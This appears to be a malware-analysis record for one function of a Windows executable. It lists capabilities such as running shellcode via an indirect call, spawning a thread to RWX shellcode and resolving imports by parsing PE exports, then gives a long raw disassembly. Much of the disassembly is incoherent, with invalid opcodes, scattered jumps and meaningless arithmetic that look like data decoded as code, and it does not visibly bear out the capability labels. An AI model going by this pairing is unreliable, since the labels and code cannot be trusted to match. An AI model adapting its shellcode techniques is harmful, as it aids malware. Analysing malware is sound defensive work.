Function at 0x409556
Capabilities:
Execute shellcode via indirect call
Get disk information
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Parse pe header
Resolve function by parsing pe exports
Spawn thread to rwx shellcode
Terminate process

Disassembly:
mov eax, dword [edi + 0x200008c]
add byte [eax + edx*4 + 0x67764a76], bl
sbb dh, byte [esi - 0x70]
dec ebp
loopne 0x402713
je 0x402742
pop ebp
add byte [eax], al
jbe 0x4026aa
sub eax, dword [eax]
pop ebx
add byte [eax], al
add eax, dword [eax]
jmp fcn.00402710
push edi
sub eax, 0x2dfb1376
nop
mov dword [eax], edx
sar byte [eax + 3], 0xc2
xchg byte [eax + ebx*2 + 0x5883bf77], al
jbe 0x402777
test byte [eax + 0x77], bl
mov edi, 0x1f765883
pop eax
ja 0x402713
sbb dword [eax + 0x76], 0x1f
jo 0x402772
nop
mov edi, edi
nop
sub eax, 0x2e900476
push ebp
je 0x404147
jbe 0x402726
rol byte [eax], 0x3d
push cs
adc al, byte [ecx]
add esp, dword [esi]
add al, 0x1a
inc ecx
add byte [ebx], al
add al, 0x1a
nop
add byte [eax], al
lea eax, [ebp - 0x3c]
je 0x40898f
sub eax, 0x2d8ccf76
mov ecx, dword [0x410470]
nop
inc ebp
ja 0x402751
add byte [eax + 0x3b850f02], ch
mov esp, 0x9520775b
nop
nop
clc
mov edi, edi
add byte [eax], al
push 0x76243fbb
mov dl, 1
ror byte [edi], 0x85
xor al, 0x89
sbb dh, byte [esi - 0x70]
inc eax
or edx, edx
adc byte [ebx + 0x8e183cf], cl
ja 0x402750
or al, 0x8b
cld
add byte [eax], al
jbe 0x4041bf
nop
cmp dword [ebp + 0x58], edi
pop eax
mov dl, 0xa7
pop ebp
nop
mov edx, dword [ebp - 0xbc]
xor byte [esi + 0x12], dh
ja 0x4089f3
xchg ebp, eax
inc esp
invalid
nop
add byte [eax], al
nop
nop
mov dword fs:[0], eax
push eax
nop
nop
jmp 0x408999
add ah, bh
sbb byte [eax + 0x77], 0x77
add esp, 4
nop
nop
adc bh, bh
sbb dword [eax], esi
add byte [eax - 0x16f6f70], dl
push edi
pop esp
nop
das
movsb byte es:[edi], byte [esi]
jbe 0x408a84
je 0x4089ed
or eax, 0xcaa7761
pushfd
mov eax, dword [eax + 4]
nop
add byte [eax], al
nop
add byte [eax], al
nop
push edi
rol byte [eax], cl
test al, 0xf
sahf
mov dword [0], eax
lea eax, [ebp - 0x10]
mov dword gs:[0x2260775c], eax
pop ecx
pushfd
jbe 0x408a5e
or byte [eax], al
jne 0x409cd2
add bh, al
inc ebp
cld
invalid
pop ecx
ja 0x408ad8
sub eax, 0x2e11fc76
mov ecx, dword [ebp + 0x1c]
das
adc al, 0
sti
sub eax, 0x7757224f
push edi
ja 0x409546
ror byte [edi], 1
mov ah, ah
invalid
pop ecx
ja 0x409572
je 0x40350f
sub edx, dword [esi + 0x20]
push edi
ja 0x40952e
lea edx, [eax + 0xa178540]
ret
nop
nop
nop
nop
nop
pop ebx
nop
and eax, 0xec8d762f
jbe 0x4094cc
ret
add byte [edx + ebx], cl
jl 0x406db6
sub eax, 0x2e4e2b76
jbe 0x409528
add byte [ebp - 0x6089d1d4], dl
add byte [eax], al
ja 0x4095aa
jbe 0x409500
xor byte fs:[ecx + 0x77], bl
mov esi, dword [ebp + 0x1c]
nop
pop ecx
sal dword [ebx - 0x2d], 1
xor byte [0x4256f1], cl
add eax, 0xdc762de5
push esi
inc edx
add byte [0xdc762de5], al
dec esi
jbe 0x4095a9
mov byte [0x41b767], al
clc
mov ecx, dword [esi + 0x24]
test byte [ebp + 8], 2
push edi
ja 0x4095da
nop
add byte [eax - 0x6f6f6f70], dl
ja 0x40951c
add eax, dword [eax]
ja 0x4027a8
nop
ret 4
sbb byte [eax], al
add byte [esi + 0x76], dl
loopne 0x4095ab
push esi
jbe 0x40958e
cld
xor ebp, dword [edi]
mov ebp, esp
call fcn.0040a364
sbb esp, dword [ecx]
pop ebp
push esi
ja 0x409614
das
pop ebp
pop ebp
mov eax, esi
nop
pop eax
mov ecx, dword [esi]
jp 0x4095f7
or al, 0
add byte [eax], dl
lea ebp, [esp + 0x10]
adc byte [ebp + 0x2b10246c], cl
xchg dword [edi + 0xd], ecx
add eax, 0x89e0458b
insb byte es:[edi], dx
and al, 0x10
sub eax, dword [edi - 0x74faf2b1]
inc ebp
loopne 0x4095a9
nop
mov bh, 0x2d
sbb dh, byte [esi - 0x18]
nop
cmp al, 0x89
and al, 0xc
mov ebp, esp
pop esp
nop
push edi
jbe 0x4096a8
push 1
test byte [ecx + edx*2 + 0x503d0002], al
pop esp
nop
pop edx
cmp eax, 0x2b762ec0
nop
and eax, 0x761a0738
nop
adc eax, 0x761a042c
jbe 0x4096a7
push edi
add eax, 0x90909090
jbe 0x409612
nop
add byte [eax], al
adc byte [edi + 0x77], dl
fst qword [edi + 0x77]
std
ja 0x40963f
push edi
ja 0x409662
ja 0x4096c5
push cs
sti
loopne 0x4096c1
push eax
add bh, bh
or al, ch
call fcn.004031f4
and eax, 0x761a0b24
sbb edx, dword [edi + 0x77]
jbe 0x40960f
or byte [eax], al
mov esi, dword [ebp + 8]
call 0x409556
jge 0x4096e3
add byte [ebx - 0x3217f78b], cl
invalid
pop eax
invalid
jecxz 0x4096c5
mov al, 9
jbe 0x409675
ja 0x409644
sbb byte [eax + 0x77], 0x9b
js 0x40a5f0
add byte [esp + ecx], ah
and al, 0xc
das
jmp 0x40969a
test byte [ebp + 8], 1
xor ebx, dword [esi + ebp + 0x2e5c6776]
test eax, 0xa955762d
mov esp, 0x90761a0d
or eax, 0xc190761a
loopne 0x4096ca
shl eax, 2
test dl, 1
add al, 0
add dword [eax + eax], eax
push esi
ja 0x40971a
nop
fdivr dword [edi - 0x33]
add eax, ecx
jbe 0x409660
test ecx, ecx
push edi
ja 0x409680
jbe 0x409686
add byte [ebx], bh
popal
les eax, [edx + eax*8]
add al, 0xc2
ja 0x409763
ja 0x409696
nop
push ebp
or byte [edi], 0x84
add byte [ecx], bh
cli
jbe 0x40970e
jbe 0x409746
aaa
push eax
pop ebp
sbb dh, byte [esi - 0x70]
ja 0x409759
je 0x408ab3
invalid
adc ebp, esp
jbe 0x4096b0
or al, 0x1a
ja 0x4096d4
sbb dh, byte [edi - 0x50]
nop
adc bh, bh
add byte [eax + eax + 0x24], dl
jne 0x409749
fisubr word [0x41cb9a]
push esi
nop
nop
je 0x405ca4
test byte [eax*8 - 0x236f0001], bh
cld
nop
fdiv st(4), st(0)
add byte [ebx + 0x77], bl
push ebp
jbe 0x409721
cld
dec esp
push ebx
pop edx
adc byte [edi + 0x77], dl
nop
add byte [eax], al
jbe 0x40970d
push esp
and al, 8
jbe 0x4097b1
dec esp
lea ebp, [eax - 1]
pop ebp
adc bh, bh
sub al, 0x1c
jbe 0x4097f4
push ebp
fmul dword [ebx + 0xb082454]
inc eax
mov ecx, dword [ebp - 0xac]
sub dword [eax + 0x2d], edi
cli
mov edi, dword [ebp + 8]
jbe 0x409815
add byte [0x421828], bh
push esi
add byte [eax], al
nop
pop dword [ecx]
mov edi, dword [eax + 0x10]
js 0x4097c3
ja 0x40981f
mov dl, 0x2e
and eax, 0x761a0bfc
test byte [edi], bh
sbb dh, byte [esi - 0x7b]
push es
mov ebp, esp
in al, dx
or al, 0xb
sahf
jbe 0x40982d
or al, 0x1a
add byte [eax], al
cld
jbe 0x40984d
nop
jbe 0x40984e
rcl dword [eax + 0x46f990]
dec edi
add bl, dl
das
lea eax, [ebp - 0x14]
pop eax
inc esi
aad 9
add eax, dword [eax]
inc ebp
loopne 0x4098ad
jbe 0x40a5f3
inc ecx
xchg ecx, eax
ljmp 0x2e01